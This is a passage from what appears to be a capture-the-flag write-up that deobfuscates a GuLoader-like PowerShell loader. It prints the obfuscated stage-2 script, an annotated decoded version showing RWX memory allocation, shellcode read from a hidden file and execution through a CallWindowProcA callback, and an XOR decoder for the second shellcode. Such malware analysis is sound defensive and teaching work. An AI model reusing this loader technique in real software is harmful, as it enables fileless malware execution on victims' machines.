$Denguesudifons = Mutarotation04 'EEE0F7EBE0E9B6B7';
$Mellemvrenderne = Mutarotation04 'F0F6E0F7B6B7';
$Mutarotation03 = Mutarotation04 'C2E0F1C6EAEBF6EAE9E0D2ECEBE1EAF2';
$Mutarotation00=Mutarotation04 'D6EDEAF2D2ECEBE1EAF2';
$Merkantilisering= "$env:temp\Nonresolvable.exe";
Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B7A5B8A5ADC2E0F1A8D2E8ECCAE7EFE0E6F1A5D2ECEBB6B7DAD5F7EAE6E0F6F6A5F9A5D2EDE0F7E0A8CAE7EFE0E6F1A5FEA5A1D5CCC1A5A8E6EAEBF1E4ECEBF6A5A1DAABD5F7EAE6E0F6F6CCC1A5F8ACABD5E4F7E0EBF1D5F7EAE6E0F6F6CCC1' 1;
Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B6A5B8A5C2E0F1A8D5F7EAE6E0F6F6A5A8CCE1A5A1D6ECF1F7E0EBE1E0B7B7A5A8C3ECE9E0D3E0F7F6ECEAEBCCEBE3EAA5F9A5D6E0E9E0E6F1A5A8C0FDF5E4EBE1D5F7EAF5E0F7F1FCA5C3ECE9E0CBE4E8E0' 1;
Mutarotation04 'D6F1EAF5A8D5F7EAE6E0F6F6A5A8CCC1A5A1D6ECF1F7E0EBE1E0B7B7A5A8C3EAF7E6E0' 1;
Mutarotation04 'C6EAF5FCA8CCF1E0E8A5A1D6ECF1F7E0EBE1E0B7B6A5A8C1E0F6F1ECEBE4F1ECEAEBA5A1C8E0F7EEE4EBF1ECE9ECF6E0F7ECEBE2A5A8D7E0E6F0F7F6E0A5A8C3EAF7E6E0' 1;
function Sitrende01 ($Denguesncestry, $Prdikatnavnet) {Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B5BDA5B8A5ADDEC4F5F5C1EAE8E4ECEBD8BFBFC6F0F7F7E0EBF1C1EAE8E4ECEBABC2E0F1C4F6F6E0E8E7E9ECE0F6ADACA5F9A5D2EDE0F7E0A8CAE7EFE0E6F1A5FEA5A1DAABC2E9EAE7E4E9C4F6F6E0E8E7E9FCC6E4E6EDE0A5A8C4EBE1A5A1DAABC9EAE6E4F1ECEAEBABD6F5E9ECF1ADA1D3ECF7EEE0F7F6BDACDEA8B4D8ABC0F4F0E4E9F6ADA1C4E9F3EAF7E9ECE2B5ACA5F8ACABC2E0F1D1FCF5E0ADA1C4E9F3EAF7E9ECE2B4AC' 1;
Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4B5A5B8A5A1D6ECF1F7E0EBE1E0B5BDABC2E0F1C8E0F1EDEAE1ADA1C4E9F3EAF7E9ECE2B7A9A5DED1FCF5E0DED8D8A5C5ADA1C4E9F3EAF7E9ECE2B6A9A5A1C4E9F3EAF7E9ECE2B1ACAC' 1;
Mutarotation04 'F7E0F1F0F7EBA5A1D6ECF1F7E0EBE1E0B4B5ABCCEBF3EAEEE0ADA1EBF0E9E9A9A5C5ADDED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABCDE4EBE1E9E0D7E0E3D8ADCBE0F2A8CAE7EFE0E6F1A5D6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABCDE4EBE1E9E0D7E0E3ADADCBE0F2A8CAE7EFE0E6F1A5CCEBF1D5F1F7ACA9A5ADA1D6ECF1F7E0EBE1E0B5BDABC2E0F1C8E0F1EDEAE1ADA1C4E9F3EAF7E9ECE2B0ACACABCCEBF3EAEEE0ADA1EBF0E9E9A9A5C5ADA1C1E0EBE2F0E0F6EBE6E0F6F1F7FCACACACACA9A5A1D5F7E1ECEEE4F1EBE4F3EBE0F1ACAC' 1;
}function Sitrende00 ([Parameter(Position = 0)] [Type[]] $Hipponous,[Parameter(Position = 1)] [Type] $Denguesruspice = [Void]) {Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4B0A5B8A5DEC4F5F5C1EAE8E4ECEBD8BFBFC6F0F7F7E0EBF1C1EAE8E4ECEBABC1E0E3ECEBE0C1FCEBE4E8ECE6C4F6F6E0E8E7E9FCADADCBE0F2A8CAE7EFE0E6F1A5D6FCF6F1E0E8ABD7E0E3E9E0E6F1ECEAEBABC4F6F6E0E8E7E9FCCBE4E8E0ADA1C4E9F3EAF7E9ECE2BDACACA9A5DED6FCF6F1E0E8ABD7E0E3E9E0E6F1ECEAEBABC0E8ECF1ABC4F6F6E0E8E7E9FCC7F0ECE9E1E0F7C4E6E6E0F6F6D8BFBFD7F0EBACABC1E0E3ECEBE0C1FCEBE4E8ECE6C8EAE1F0E9E0ADA1C4E9F3EAF7E9ECE2BCA9A5A1E3E4E9F6E0ACABC1E0E3ECEBE0D1FCF5E0ADA1D3ECF7EEE0F7F6B5A9A5A1D3ECF7EEE0F7F6B4A9A5DED6FCF6F1E0E8ABC8F0E9F1ECE6E4F6F1C1E0E9E0E2E4F1E0D8AC' 1;
Mutarotation04 'A1D6ECF1F7E0EBE1E0B4B0ABC1E0E3ECEBE0C6EAEBF6F1F7F0E6F1EAF7ADA1C4E9F3EAF7E9ECE2B3A9A5DED6FCF6F1E0E8ABD7E0E3E9E0E6F1ECEAEBABC6E4E9E9ECEBE2C6EAEBF3E0EBF1ECEAEBF6D8BFBFD6F1E4EBE1E4F7E1A9A5A1CDECF5F5EAEBEAF0F6ACABD6E0F1CCE8F5E9E0E8E0EBF1E4F1ECEAEBC3E9E4E2F6ADA1C4E9F3EAF7E9ECE2B2AC' 1;
Mutarotation04 'A1D6ECF1F7E0EBE1E0B4B0ABC1E0E3ECEBE0C8E0F1EDEAE1ADA1D3ECF7EEE0F7F6B7A9A5A1D3ECF7EEE0F7F6B6A9A5A1C1E0EBE2F0E0F6F7F0F6F5ECE6E0A9A5A1CDECF5F5EAEBEAF0F6ACABD6E0F1CCE8F5E9E0E8E0EBF1E4F1ECEAEBC3E9E4E2F6ADA1C4E9F3EAF7E9ECE2B2AC' 1;
Mutarotation04 'F7E0F1F0F7EBA5A1D6ECF1F7E0EBE1E0B4B0ABC6F7E0E4F1E0D1FCF5E0ADAC' 1;
;
}Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4B3A5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1C1E0EBE2F0E0F6F0E1ECE3EAEBF6A5A1D3ECF7EEE0F7F6B1ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8A9A5DED0CCEBF1B6B7D8A9A5DED0CCEBF1B6B7D8A9A5DED0CCEBF1B6B7D8ACA5ADDECCEBF1D5F1F7D8ACACAC' 1;
Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4B2A5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1C8E0E9E9E0E8F3F7E0EBE1E0F7EBE0A5A1C8F0F1E4F7EAF1E4F1ECEAEBB5B5ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8A9A5DED0CCEBF1B6B7D8ACA5ADDECCEBF1D5F1F7D8ACACAC' 1;
Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4BDA5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1C1E0EBE2F0E0F6F0E1ECE3EAEBF6A5A1C8F0F1E4F7EAF1E4F1ECEAEBB5B6ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8ACA5ADDECCEBF1D5F1F7D8ACACAC' 1;
Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4BCA5B8A5A1D6ECF1F7E0EBE1E0B4BDABCCEBF3EAEEE0ADB5AC' 1;
Mutarotation04 'A1D6ECF1F7E0EBE1E0B4B2ABCCEBF3EAEEE0ADA1D6ECF1F7E0EBE1E0B4BCA9A5B5AC' 1;
$Digenea = Sitrende01 $Virkers5 $Virkers6;
Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B6A5B8A5A1D6ECF1F7E0EBE1E0B4B3ABCCEBF3EAEEE0ADDECCEBF1D5F1F7D8BFBFDFE0F7EAA9A5B4B0B7B4B6A9A5B5FDB6B5B5B5A9A5B5FDB1B5AC' 1;
Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B5A5B8A5A1D6ECF1F7E0EBE1E0B4B3ABCCEBF3EAEEE0ADDECCEBF1D5F1F7D8BFBFDFE0F7EAA9A5BCBDBDB2B6B6B1B1A9A5B5FDB6B5B5B5A9A5B5FDB1AC' 1;
$Sitrende2="$env:APPDATA\opslagsvrkerne\incorporative\lathis\jackass.Pri";
Mutarotation04 'A1E2E9EAE7E4E9BFC1ECF1E6EDE0F6A5B8A5DED6FCF6F1E0E8ABCCCAABC3ECE9E0D8BFBFD7E0E4E1C4E9E9C7FCF1E0F6ADA1D6ECF1F7E0EBE1E0B7AC' 1;
Mutarotation04 'DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC6EAF5FCADA1C1ECF1E6EDE0F6A9A5B6B1B6B4A9A5A5A1D6ECF1F7E0EBE1E0B6A9A5B4B0B7B4B6AC' 1;
$Rappellvqr=$Ditches.count-15213-3431;
Mutarotation04 'DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC6EAF5FCADA1C1ECF1E6EDE0F6A9A5B4B0B7B4B6AEB6B1B6B4A9A5A1D6ECF1F7E0EBE1E0B7B5A9A5A1D7E4F5F5E0E9E9F3F4F7AC' 1;
Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B4A5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1D3F7E1ECE2E4EBE0E1F7ECE3F1E0F7F6A5A1D7E0F6EAEBE4EBF6ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8ACA5ADDECCEBF1D5F1F7D8ACACAC' 1;
Mutarotation04 'A1D6ECF1F7E0EBE1E0B7B4ABCCEBF3EAEEE0ADA1D6ECF1F7E0EBE1E0B6A9A1D6ECF1F7E0EBE1E0B7B5A9A1C1ECE2E0EBE0E4A9B5A9B5AC' 1 #
"""
output_lines = []
decoded_strings = []
for line in code.splitlines():
match = re.search(regex_mutarotation, line)
if match:
call_part = match.group(1) # The "Mutarotation04" part
hex_string = match.group(2) # The obfuscated string of interest
deobfuscated = Mutarotation04(hex_string)
decoded_strings.append((hex_string, deobfuscated))
# Replacing the obfuscated string by its clear format
updated_line = line.replace(f"{call_part}'{hex_string}'", f"{call_part}'{deobfuscated}'")
output_lines.append(updated_line)
else:
output_lines.append(line) # Keeping the original line if there is no match
print("[+] Deobfuscating stage 2:")
print("\n".join(output_lines))
Here we go, our second stage script is now human readable:

The most interesting parts are obviously at the end:
# Calling function $Sialagogic750 [i.e., "IEX"] with this in parameters:
# $global:Sitrende16 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Function01 $kernel32 $VirtualAlloc), (Function00 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
# The GetDelegateForFunctionPointer function permits to execute unmanaged code from PowerShell, by passing the function pointer and its signature [i.e. the arguments of the function to execute and their data types]
# The below code dynamically resolves the WinExec addresses and defines a delegate to this function
MainFunction 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4B3A5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1C1E0EBE2F0E0F6F0E1ECE3EAEBF6A5A1D3ECF7EEE0F7F6B1ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8A9A5DED0CCEBF1B6B7D8A9A5DED0CCEBF1B6B7D8A9A5DED0CCEBF1B6B7D8ACA5ADDECCEBF1D5F1F7D8ACACAC' 1;
../...
# ntdll.NtProtectVirtualMemory
$Digenea = Function01 $ntdll $NtProtectVirtualMemory;
# Calling function $Sialagogic750 [i.e., "IEX"] with this in parameters:
# $global:Sitrende3 = $Sitrende16.Invoke([IntPtr]::Zero, 15213, 0x3000, 0x40)
# kernel32.VirtualAlloc
# Allocating 15'213 bytes of memory in RWX (0x40) for Sitrende3
MainFunction 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B6A5B8A5A1D6ECF1F7E0EBE1E0B4B3ABCCEBF3EAEEE0ADDECCEBF1D5F1F7D8BFBFDFE0F7EAA9A5B4B0B7B4B6A9A5B5FDB6B5B5B5A9A5B5FDB1B5AC' 1;
# Calling function $Sialagogic750 [i.e., "IEX"] with this in parameters:
# $global:Sitrende20 = $Sitrende16.Invoke([IntPtr]::Zero, 98873344, 0x3000, 0x4)
# kernel32.VirtualAlloc
# Allocating 98'873'344 bytes of memory in RW (0x4) for Sitrende20
MainFunction 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B5A5B8A5A1D6ECF1F7E0EBE1E0B4B3ABCCEBF3EAEEE0ADDECCEBF1D5F1F7D8BFBFDFE0F7EAA9A5BCBDBDB2B6B6B1B1A9A5B5FDB6B5B5B5A9A5B5FDB1AC' 1;
# 2 shellcodes are stored in the jackass.pri file [hidden after a big slice of junk bytes]
# This shellcodes file's path is loaded into $Sitrende2
$Sitrende2="$env:APPDATA\opslagsvrkerne\incorporative\lathis\jackass.Pri";
# Calling function $Sialagogic750 [i.e., "IEX"] with this in parameters:
# $global:Ditches = [System.IO.File]::ReadAllBytes($Sitrende2)
# The variable $Ditches now holds the 2 concatenated shellcodes [with some junks upfront]
MainFunction 'A1E2E9EAE7E4E9BFC1ECF1E6EDE0F6A5B8A5DED6FCF6F1E0E8ABCCCAABC3ECE9E0D8BFBFD7E0E4E1C4E9E9C7FCF1E0F6ADA1D6ECF1F7E0EBE1E0B7AC' 1;
# Calling function $Sialagogic750 [i.e., "IEX"] with this in parameters:
# [System.Runtime.InteropServices.Marshal]::Copy($Ditches, 3431, $Sitrende3, 15213)
# Copy the 1st shellcode of 15'213 bytes located at offset 3'431 in $Ditches toward Sitrende3
MainFunction 'DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC6EAF5FCADA1C1ECF1E6EDE0F6A9A5B6B1B6B4A9A5A5A1D6ECF1F7E0EBE1E0B6A9A5B4B0B7B4B6AC' 1;
# Getting the size of buffer hosting the 2nd shellcode after removing the 3'431 dummy bytes and the 15'213 bytes from the 1st shellcode
$Rappellvqr=$Ditches.count-15213-3431;
# Calling function $Sialagogic750 [i.e., "IEX"] with this in parameters:
# [System.Runtime.InteropServices.Marshal]::Copy($Ditches, 15213+3431, $Sitrende20, $Rappellvqr)
# Copying the 2nd shellcode from $Ditches at offset 18'644 [i.e, 15'213 bytes for 1st shellcode + 3'431 bytes of junk upfront] till the end toward Sitrende20
MainFunction 'DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC6EAF5FCADA1C1ECF1E6EDE0F6A9A5B4B0B7B4B6AEB6B1B6B4A9A5A1D6ECF1F7E0EBE1E0B7B5A9A5A1D7E4F5F5E0E9E9F3F4F7AC' 1;
# Calling function $Sialagogic750 [i.e., "IEX"] with this in parameters:
# $global:Sitrende21 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Function01 $USER32 $CallWindowProcA), (Function00 @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([IntPtr])))
# Setting a delegated pointer to the CallWindowProcA fonction [generally used to execute the code of an exported function in a DLL]
MainFunction 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B4A5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1D3F7E1ECE2E4EBE0E1F7ECE3F1E0F7F6A5A1D7E0F6EAEBE4EBF6ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8ACA5ADDECCEBF1D5F1F7D8ACACAC' 1;
# Calling function $Sialagogic750 [i.e., "IEX"] with this in parameters::
# $Sitrende21.Invoke($Sitrende3,$Sitrende20,$Digenea,0,0)
# $Sitrende21 is the delegated pointer toward CallWindowProcA, which is ultimately called with 3 arguments:
# $Sitrende3 = 1st shellcode [usually the decryptor/loader]
# $Sitrende20 = 2nd shellcode [usually the real payload somehow encrypted] provided to the 1st one as argument
# $Digenea = "Function01 $ntdll $NtProtectVirtualMemory;" [probably called from the 1st shellcode de load the 2nd one]
MainFunction 'A1D6ECF1F7E0EBE1E0B7B4ABCCEBF3EAEEE0ADA1D6ECF1F7E0EBE1E0B6A9A1D6ECF1F7E0EBE1E0B7B5A9A1C1ECE2E0EBE0E4A9B5A9B5AC' 1
It was the first time we observed a GuLoader sample that relied onCallWindowProcA
for callback, instead of the usualEnumResourceTypes
orCallWindowProcW
API in the real attack. Yet another smart way to avoid detection and achieve file-less attacks by abusing API callbacks.
Step 4 – Shellcodes extraction
So, let’s extract the 2 shellcodes now that we know where there are:

As expected, the second shellcode does not have any meaningful instructions:

But the first one looks like what we could expect:

We can see an XOR at 0x00000006, and a key that is rotated at each byte at 0x00000018:
0x00000000 8b742404 mov esi, dword [esp + 4] ; Get the address of the XORed shellcode received as argument
0x00000004 89f7 mov edi, esi ; Save it to EDI for in-place decoding
0x00000006 ba8e66d0a2 mov edx, 0xa2d0668e ; Load the 4 bytes XOR key
0x0000000b b94f000000 mov ecx, 0x4f ; Size of the 2nd shellcode to unXOR
0x00000010 8a06 mov al, byte [esi] ; Load 1 byte of that XORed shellcode
0x00000012 30d0 xor al, dl ; XOR it with the 1st byte of the key
0x00000014 8807 mov byte [edi], al ; And save the result to the adress pointed to by EDI
0x00000016 46 inc esi ; Poiting to the next byte to unXOR
0x00000017 47 inc edi ; Same for the destination register
0x00000018 c1ca08 ror edx, 8 ; Rotate the key to use the next byte for decryption
0x0000001b 49 dec ecx ; Decrement the counter
0x0000001c 75f2 jne 0x10 ; Loop until all bytes have not been unXORed
0x0000001e ffe7 jmp edi ; Then execute the 2nd shellcode once it has been decrypted
So, let’s create a small script which will unXOR the second shellcode with that key or break in 0x0000001e to dump EDI:
XOR_KEY = 0xA2D0668E
def unXOR(data, key):
decoded = bytearray()
for i, b in enumerate(data):
key_bytes = key & 0xFF # Take the 1st byte of the key at the beginning
decoded_byte = b ^ key_bytes # And use it in the XOR operation
decoded.append(decoded_byte) # Save the unXORed byte
key = ((key >> 8) | ((key & 0xFF) << 24)) # Then rotate the key to the right
return bytes(decoded)
with open("extracted/shellcode2.bin", "rb") as f:
shellcode_xored = f.read()
shellcode_decoded = unXOR(shellcode_xored, XOR_KEY)
with open("extracted/shellcode2_unXORed.bin", "wb") as f:
f.write(shellcode_decoded)
Once XORed back, the 2nd shellcode hosts the flag:


In the real life, the first GuLoader shellcode is a little bit more sophisticated since it also relies on various Anti-VM tricks and VEH hooking to replace some 0xCC bytes [i.e. INT3] by the real instructions in the second shellcode to disturb disassemblers… But now you globally have a very realistic overview of this powerful malware.
Happy reverse,
Frédéric BOURLA